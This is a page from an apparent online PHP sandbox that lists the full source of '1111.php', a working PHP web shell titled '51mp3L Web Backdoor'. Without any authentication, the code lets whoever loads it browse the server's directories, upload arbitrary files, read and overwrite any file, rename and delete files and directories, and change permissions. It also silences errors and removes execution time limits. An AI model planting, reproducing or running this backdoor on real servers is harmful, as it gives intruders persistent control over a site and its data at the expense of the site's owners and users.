1111 - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 1111.php

  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <HTML>
  12. <HEAD>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>51mp3L Web Backdoor</title>
  15. <style>
  16. body{
  17. font-family: "Roboto", cursive;
  18. background-color:black;
  19. color:white;
  20. }
  21. #content .first{
  22. background-color:green;
  23. }
  24. table{
  25. border: 3px green double;
  26. }
  27. H1{
  28. font-family: "Rye", cursive;
  29. }
  30. a{
  31. color:green;
  32. text-decoration: none;
  33. }
  34. a:hover{
  35. color:white;
  36. text-shadow:0px 0px 10px #ffffff;
  37. }
  38. input,select,textarea{
  39. border: 1px #fff solid;
  40. -moz-border-radius: 5px;
  41. -webkit-border-radius:5px;
  42. border-radius:5px;
  43. }
  44. </style>
  45. </HEAD>
  46. <BODY>
  47. <table width="1000" border="0" cellpadding="3" cellspacing="1" align="center">
  48. <tr><td>Current Path : ';
  49. if(isset($_GET['path'])){
  50. $path = $_GET['path'];
  51. }else{
  52. $path = getcwd();
  53. }
  54. $path = str_replace('\\','/',$path);
  55. $paths = explode('/',$path);
  56.  
  57. foreach($paths as $id=>$pat){
  58. if($pat == '' && $id == 0){
  59. $a = true;
  60. echo '<a href="?path=/">/</a>';
  61. continue;
  62. }
  63. if($pat == '') continue;
  64. echo '<a href="?path=';
  65. for($i=0;$i<=$id;$i++){
  66. echo "$paths[$i]";
  67. if($i != $id) echo "/";
  68. }
  69. echo '">'.$pat.'</a>/';
  70. }
  71. echo '</td></tr><tr><td>';
  72. if(isset($_FILES['file'])){
  73. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  74. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  75. }else{
  76. echo '<font color="red">File Upload Error ~_~.</font><br />';
  77. }
  78. }
  79. echo '<form enctype="multipart/form-data" method="POST">
  80. Upload File : <input type="file" name="file" />
  81. <input type="submit" value="upload" />
  82. </form>
  83. </td></tr>';
  84. if(isset($_GET['filesrc'])){
  85. echo '</table><br />';
  86. echo('<center><textarea cols=140 rows=37 name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea><br />');
  87. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  88. echo '</table><center><br />';
  89. if($_POST['opt'] == 'chmod'){
  90. if(isset($_POST['perm'])){
  91. if(chmod($_POST['path'],$_POST['perm'])){
  92. echo '<font color="green">Change Permission Done.</font><br />';
  93. }else{
  94. echo '<font color="red">Change Permission Error.</font><br />';
  95. }
  96. }
  97. echo '<form method="POST">
  98. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  99. <input type="hidden" name="path" value="'.$_POST['path'].'">
  100. <input type="hidden" name="opt" value="chmod">
  101. <input type="submit" value="Go" />
  102. </form>';
  103. }elseif($_POST['opt'] == 'rename'){
  104. if(isset($_POST['newname'])){
  105. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  106. echo '<font color="green">Change Name Done.</font><br />';
  107. }else{
  108. echo '<font color="red">Change Name Error.</font><br />';
  109. }
  110. $_POST['name'] = $_POST['newname'];
  111. }
  112. echo '<form method="POST">
  113. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  114. <input type="hidden" name="path" value="'.$_POST['path'].'">
  115. <input type="hidden" name="opt" value="rename">
  116. <input type="submit" value="Go" />
  117. </form>';
  118. }elseif($_POST['opt'] == 'edit'){
  119. if(isset($_POST['src'])){
  120. $fp = fopen($_POST['path'],'w');
  121. if(fwrite($fp,$_POST['src'])){
  122. echo '<font color="green">Edit File Done ~_^.</font><br />';
  123. }else{
  124. echo '<font color="red">Edit File Error ~_~.</font><br />';
  125. }
  126. fclose($fp);
  127. }
  128. echo '<form method="POST">
  129. <textarea cols=140 rows=35 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  130. <input type="hidden" name="path" value="'.$_POST['path'].'">
  131. <input type="hidden" name="opt" value="edit">
  132. <input type="submit" value="Go" />
  133. </form>';
  134. }
  135. echo '</center>';
  136. }else{
  137. echo '</table><br /><center>';
  138. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  139. if($_POST['type'] == 'dir'){
  140. if(rmdir($_POST['path'])){
  141. echo '<font color="green">Delete Dir Done.</font><br />';
  142. }else{
  143. echo '<font color="red">Delete Dir Error.</font><br />';
  144. }
  145. }elseif($_POST['type'] == 'file'){
  146. if(unlink($_POST['path'])){
  147. echo '<font color="green">Delete File Done.</font><br />';
  148. }else{
  149. echo '<font color="red">Delete File Error.</font><br />';
  150. }
  151. }
  152. }
  153. echo '</center>';
  154. $scandir = scandir($path);
  155. echo '<div id="content"><table width="1000" border="0" cellpadding="3" cellspacing="1" align="center">
  156. <tr class="first">
  157. <td><center>Name</center></td>
  158. <td><center>Size</center></td>
  159. <td><center>Permissions</center></td>
  160. <td><center>Options</center></td>
  161. </tr>';
  162.  
  163. foreach($scandir as $dir){
  164. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  165. echo "<tr>
  166. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  167. <td><center>--</center></td>
  168. <td><center>";
  169. if(is_writable("$path/$dir")) echo '<font color="green">';
  170. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  171. echo perms("$path/$dir");
  172. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  173.  
  174. echo "</center></td>
  175. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  176. <select name=\"opt\">
  177. <option value=\"\"></option>
  178. <option value=\"delete\">Delete</option>
  179. <option value=\"chmod\">Chmod</option>
  180. <option value=\"rename\">Rename</option>
  181. </select>
  182. <input type=\"hidden\" name=\"type\" value=\"dir\">
  183. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  184. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  185. <input type=\"submit\" value=\">\" />
  186. </form></center></td>
  187. </tr>";
  188. }
  189. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  190. foreach($scandir as $file){
  191. if(!is_file("$path/$file")) continue;
  192. $size = filesize("$path/$file")/1024;
  193. $size = round($size,3);
  194. if($size >= 1024){
  195. $size = round($size/1024,2).' MB';
  196. }else{
  197. $size = $size.' KB';
  198. }
  199.  
  200. echo "<tr>
  201. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  202. <td><center>".$size."</center></td>
  203. <td><center>";
  204. if(is_writable("$path/$file")) echo '<font color="green">';
  205. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  206. echo perms("$path/$file");
  207. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  208. echo "</center></td>
  209. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  210. <select name=\"opt\">
  211. <option value=\"\"></option>
  212. <option value=\"delete\">Delete</option>
  213. <option value=\"chmod\">Chmod</option>
  214. <option value=\"rename\">Rename</option>
  215. <option value=\"edit\">Edit</option>
  216. </select>
  217. <input type=\"hidden\" name=\"type\" value=\"file\">
  218. <input type=\"hidden\" name=\"name\" value=\"$file\">
  219. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  220. <input type=\"submit\" value=\">\" />
  221. </form></center></td>
  222. </tr>";
  223. }
  224. echo '</table></div></html>';
  225. }
  226. function perms($file){
  227. $perms = fileperms($file);
  228.  
  229. if (($perms & 0xC000) == 0xC000) {
  230. // Socket
  231. $info = 's';
  232. } elseif (($perms & 0xA000) == 0xA000) {
  233. // Symbolic Link
  234. $info = 'l';
  235. } elseif (($perms & 0x8000) == 0x8000) {
  236. // Regular
  237. $info = '-';
  238. } elseif (($perms & 0x6000) == 0x6000) {
  239. // Block special
  240. $info = 'b';
  241. } elseif (($perms & 0x4000) == 0x4000) {
  242. // Directory
  243. $info = 'd';
  244. } elseif (($perms & 0x2000) == 0x2000) {
  245. // Character special
  246. $info = 'c';
  247. } elseif (($perms & 0x1000) == 0x1000) {
  248. // FIFO pipe
  249. $info = 'p';
  250. } else {
  251. // Unknown
  252. $info = 'u';
  253. }
  254.  
  255. // Owner
  256. $info .= (($perms & 0x0100) ? 'r' : '-');
  257. $info .= (($perms & 0x0080) ? 'w' : '-');
  258. $info .= (($perms & 0x0040) ?
  259. (($perms & 0x0800) ? 's' : 'x' ) :
  260. (($perms & 0x0800) ? 'S' : '-'));
  261.  
  262. // Group
  263. $info .= (($perms & 0x0020) ? 'r' : '-');
  264. $info .= (($perms & 0x0010) ? 'w' : '-');
  265. $info .= (($perms & 0x0008) ?
  266. (($perms & 0x0400) ? 's' : 'x' ) :
  267. (($perms & 0x0400) ? 'S' : '-'));
  268.  
  269. // World
  270. $info .= (($perms & 0x0004) ? 'r' : '-');
  271. $info .= (($perms & 0x0002) ? 'w' : '-');
  272. $info .= (($perms & 0x0001) ?
  273. (($perms & 0x0200) ? 't' : 'x' ) :
  274. (($perms & 0x0200) ? 'T' : '-'));
  275.  
  276. return $info;
  277. }
File Description
  • 1111
  • PHP Code
  • 24 Jun-2022
  • 7.48 Kb
You can Share it: